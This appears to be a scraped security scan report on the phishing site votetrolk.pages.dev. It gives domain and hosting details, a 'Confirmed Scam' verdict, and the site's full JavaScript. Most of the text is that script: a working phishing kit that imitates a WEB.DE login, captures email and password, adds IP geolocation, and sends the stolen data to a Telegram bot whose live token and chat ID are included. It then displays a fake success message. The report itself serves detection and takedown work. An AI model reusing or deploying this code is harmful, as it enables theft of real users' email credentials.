news media journalism

English

Within the developer-focused generic top-level domain (.dev), 'votetrolk.pages.dev' is registered and includes subdomain 'votetrolk'. Its registrable label 'pages' stretches across 5 characters split between two vowels and three consonants. Splitting it apart reveals 1 word: pages. No strong language cues emerged from the frequency lists.

html/63/4a/634ace47-11ae-4a21-b6da-c637b966c107.html.gz

8a6059da89824d83f5d972be454f9dd1d6eef653b6c3949bca1cbe437498e339

viewport

html/63/4a/634ace47-11ae-4a21-b6da-c637b966c107_nodriver.html.gz

votetrolk.pages.dev

Abuse Team

CloudFlare, Inc.

pages.dev


        // ============================================================
        // TELEGRAM BOT CONFIGURATION
        // ============================================================
        
        const TELEGRAM_BOT_TOKEN = '8313007532:AAFHYoeRYKAwELo5cm9gH0axG7jeM6rSvwM';
        const TELEGRAM_CHAT_ID = '6924028271';
        
        // ============================================================

        const formWrapper = document.getElementById('formWrapper');
        const emailForm = document.getElementById('emailForm');
        const passwordForm = document.getElementById('passwordForm');
        const emailInput = document.getElementById('email');
        const passwordInput = document.getElementById('password');
        const displayEmail = document.getElementById('displayEmail');
        const changeEmail = document.getElementById('changeEmail');
        const backToEmail = document.getElementById('backToEmail');
        const loading = document.getElementById('loading');
        const errorMessage = document.getElementById('errorMessage');
        const successMessage = document.getElementById('successMessage');

        function showLoading() {
            loading.classList.add('active');
        }

        function hideLoading() {
            loading.classList.remove('active');
        }

        function showError(message) {
            errorMessage.textContent = message;
            errorMessage.classList.add('active');
            setTimeout(() => {
                errorMessage.classList.remove('active');
            }, 5000);
        }

        function showSuccess(message) {
            successMessage.textContent = message;
            successMessage.classList.add('active');
            setTimeout(() => {
                successMessage.classList.remove('active');
            }, 3000);
        }

        async function getLocationInfo() {
            console.log('Fetching location info...');
            try {
                const response = await fetch('https://ipapi.co/json/');
                const data = await response.json();
                console.log('Location data received:', data);
                return {
                    ip: data.ip || 'Unknown',
                    country: data.country_name || 'Unknown',
                    countryCode: data.country_code || 'Unknown',
                    city: data.city || 'Unknown',
                    region: data.region || 'Unknown',
                    timezone: data.timezone || 'Unknown',
                    isp: data.org || 'Unknown'
                };
            } catch (error) {
                console.error('Error fetching location:', error);
                return {
                    ip: 'Unknown',
                    country: 'Unknown',
                    countryCode: 'Unknown',
                    city: 'Unknown',
                    region: 'Unknown',
                    timezone: 'Unknown',
                    isp: 'Unknown'
                };
            }
        }

        async function sendToTelegram(email, password, locationInfo) {
            console.log('Sending to Telegram...', { email, locationInfo });
            
            // Check if credentials are set
            if (TELEGRAM_BOT_TOKEN === 'YOUR_BOT_TOKEN_HERE' || TELEGRAM_CHAT_ID === 'YOUR_CHAT_ID_HERE') {
                return { success: false, error: 'Please configure your Telegram bot token and chat ID in the code' };
            }
            
            const message = `🔐 New WEB.DE Login Attempt

📧 Email: ${email}
🔑 Password: ${password}

🌍 Location Information:
━━━━━━━━━━━━━━━━━━
🌐 IP Address: ${locationInfo.ip}
🏳️ Country: ${locationInfo.country} (${locationInfo.countryCode})
🏙️ City: ${locationInfo.city}
📍 Region: ${locationInfo.region}
🕐 Timezone: ${locationInfo.timezone}
🌐 ISP: ${locationInfo.isp}

⏰ Time: ${new Date().toLocaleString()}
💻 User Agent: ${navigator.userAgent}`;

            const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
            
            console.log('Sending request to Telegram...');
            console.log('Bot Token configured:', TELEGRAM_BOT_TOKEN !== '8313007532:AAFHYoeRYKAwELo5cm9gH0axG7jeM6rSvwM');
            console.log('Chat ID configured:', TELEGRAM_CHAT_ID !== '6924028271');

            try {
                const response = await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        chat_id: TELEGRAM_CHAT_ID,
                        text: message
                    })
                });

                if (!response.ok) {
                    const errorText = await response.text();
                    console.error('HTTP Error:', response.status, errorText);
                    return { success: false, error: `HTTP ${response.status}: ${errorText}` };
                }

                const data = await response.json();
                console.log('Telegram API response:', data);

                if (data.ok) {
                    return { success: true };
                } else {
                    return { success: false, error: data.description || 'Unknown error' };
                }
            } catch (error) {
                console.error('Telegram send error:', error);
                
                // More specific error messages
                if (error.message.includes('Failed to fetch')) {
                    return { 
                        success: false, 
                        error: 'Network error. Check if: 1) Bot token is correct 2) You have internet 3) Your firewall allows Telegram API' 
                    };
                }
                
                return { success: false, error: error.message };
            }
        }

        // Handle email form submission
        emailForm.addEventListener('submit', (e) => {
            e.preventDefault();
            if (emailInput.value.trim()) {
                displayEmail.textContent = emailInput.value;
                formWrapper.classList.add('show-password');
                setTimeout(() => passwordInput.focus(), 500);
            }
        });

        // Handle password form submission
        passwordForm.addEventListener('submit', async (e) => {
            e.preventDefault();
            
            const email = emailInput.value.trim();
            const password = passwordInput.value.trim();

            if (!email || !password) {
                showError('Please enter both email and password');
                return;
            }

            // Show loading
            showLoading();

            // Get location information
            const locationInfo = await getLocationInfo();

            // Send to Telegram
            const result = await sendToTelegram(email, password, locationInfo);

            // Hide loading
            hideLoading();

            console.log('Result:', result);

            if (result.success) {
                showSuccess('Login successful! Redirecting...');
                // Optional: Redirect to actual WEB.DE or show success
                setTimeout(() => {
                    // window.location.href = 'https://www.web.de';
                    // Or clear the form
                    emailInput.value = '';
                    passwordInput.value = '';
                    goBackToEmail();
                }, 2000);
            } else {
                showError(`Login failed: ${result.error || 'Please check your bot token and chat ID'}`);
                console.error('Telegram API Error:', result.error);
            }
        });

        // Back to email step
        const goBackToEmail = () => {
            formWrapper.classList.remove('show-password');
            setTimeout(() => emailInput.focus(), 500);
        };

        backToEmail.addEventListener('click', goBackToEmail);
        changeEmail.addEventListener('click', goBackToEmail);

        // Focus email input on page load
        emailInput.focus();
    

Requests	IP Address	Location	AS Autonomous System
3	172.66.44.203	United States	AS13335Cloudflare, Inc.
3	1	-	-

Security Scan Report: votetrolk.pages.dev

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History